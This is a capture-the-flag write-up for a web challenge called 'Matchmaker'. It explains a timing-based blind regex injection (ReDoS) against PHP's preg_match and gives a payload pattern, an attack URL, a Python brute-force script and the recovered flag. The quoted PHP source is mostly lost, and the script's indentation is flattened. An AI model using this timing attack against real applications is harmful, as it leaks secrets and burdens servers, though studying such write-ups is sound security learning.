Rating:
## Matchmaker
> Navigating to the website, we are given a php code as follows:
```php
\n";
echo "Exec Time: ".$runTime;
?>
```
> In the code, we can see a php [preg_match](https://www.w3schools.com/php/func_regex_preg_match.asp) function call. We can supply a pattern to the `x` parameter in a GET request, which will look for matches with the FLAG variable. Then, the execution time of this matching process will be displayed at the bottom of the page.
> The information given to us suggest that this may involve a [Regular expression Denial of Service attack](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS). After some research, I found an article about [Blind Regex Injection](https://diary.shift-js.info/blind-regular-expression-injection/) that mentions about attacking applications with Timeout-based Mitigation. The given payload is as follows:
```
^(?=some regexp here)((.*)*)*salt$
```
> Here is a breakdown of what each part means:
- `^` - matches the beginning of the string
- `(?=some regex here)` - a positive lookahead that asserts that the string must contain the pattern "some regex here" immediately after the beginning of the string, but does not include it in the match.
- `((.*)*)*` - matches zero or more groups of any character, including newlines `(.)`, and captures them in a capturing group. The `*` quantifier matches the group zero or more times, and the outer `*` quantifier repeats the pattern zero or more times.
- `salt$` - matches the string `salt` at the end of the string. It is just a random string. If an input string does match `((.*)*)*salt$`, we can regenerate another random string.
> In the matching process, the back part of the regex `((.*)*)*salt$` takes a lot of time because of numerous backtracking performed. However, if our positive lookahead `(?=some regex here)` fails, the engine can quickly reject the match without performing a lot of backtracking.
> Since we know that our flag has the format `midnight{...}`, we can craft two regex to show the difference in execution time:
```
Expression 1: ^(?=^midnight)((.*)*)*salt$
Expression 2: ^(?=^midnigha)((.*)*)*salt$
```
> In the above case, expression 1 will take a longer execution time than expression 2 because the regex `^midnight` matches that of our flag format, and so the computationally intensive `((.*)*)*salt$` part is being executed. Whereas for expression 2, since the regex `^midnigha` does not match, the engine rejects the match because of its positive lookahead property `(?=)`.
> Note that we will need to append the payload to the x parameter in a GET request as shown:
```
http://matchmaker-1.play.hfsc.tf:12345/?x=^(?=^midnight{)((.*)*)*salt$
```
> To uncover the flag, we need to loop through every printable character and get the one with the highest execution time. Following which, we can append it to our regex prefix and continue until we reach the end of the flag with the character `}`. Obtaining the execution time can be done using a `re.search` from the response we get from the server. The following is a python script that does what we need:
```python
import requests
import re
url = 'http://matchmaker-1.play.hfsc.tf:12345/'
param_prefix = '^(?=^midnight{'
while True:
highest_exec_time = 0
highest_exec_time_char = ''
for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&()_+-=}":
end = ")((.*)*)*salt$"
param_value = f"{param_prefix}{char}{end}"
full_url = f"{url}?x={param_value}"
response = requests.get(full_url)
string = response.text.splitlines()[-1]
match = re.search(r'Exec Time: ([\d\.E-]+)
', string)
if match:
exec_time = float(match.group(1))
if exec_time > highest_exec_time:
highest_exec_time = exec_time
highest_exec_time_char = char
# print(exec_time)
print(param_value, response.text.splitlines()[-1])
print(f"Highest exec_time: {highest_exec_time} for character: {highest_exec_time_char}")
param_prefix += highest_exec_time_char
print(param_prefix)
if highest_exec_time_char == '}':
break
print(f"Param Prefix: {param_prefix}")
```
> To speed up this process, we should make use of python libraries `asyncio` and `aiohttp` for our HTTP requests so that the tasks will be executed simultaneously. The improved python script can be found in [exploit.py](https://github.com/Rookie441/CTF/blob/main/Categories/Web%20Exploitation/Medium/matchmaker/exploit.py)
> The working exploit took about 40 seconds. [Watch here](https://youtu.be/N2Y6xV3LZ-0)
`midnight{r3gExpErt153_1n_m47Chm4K1ng}`
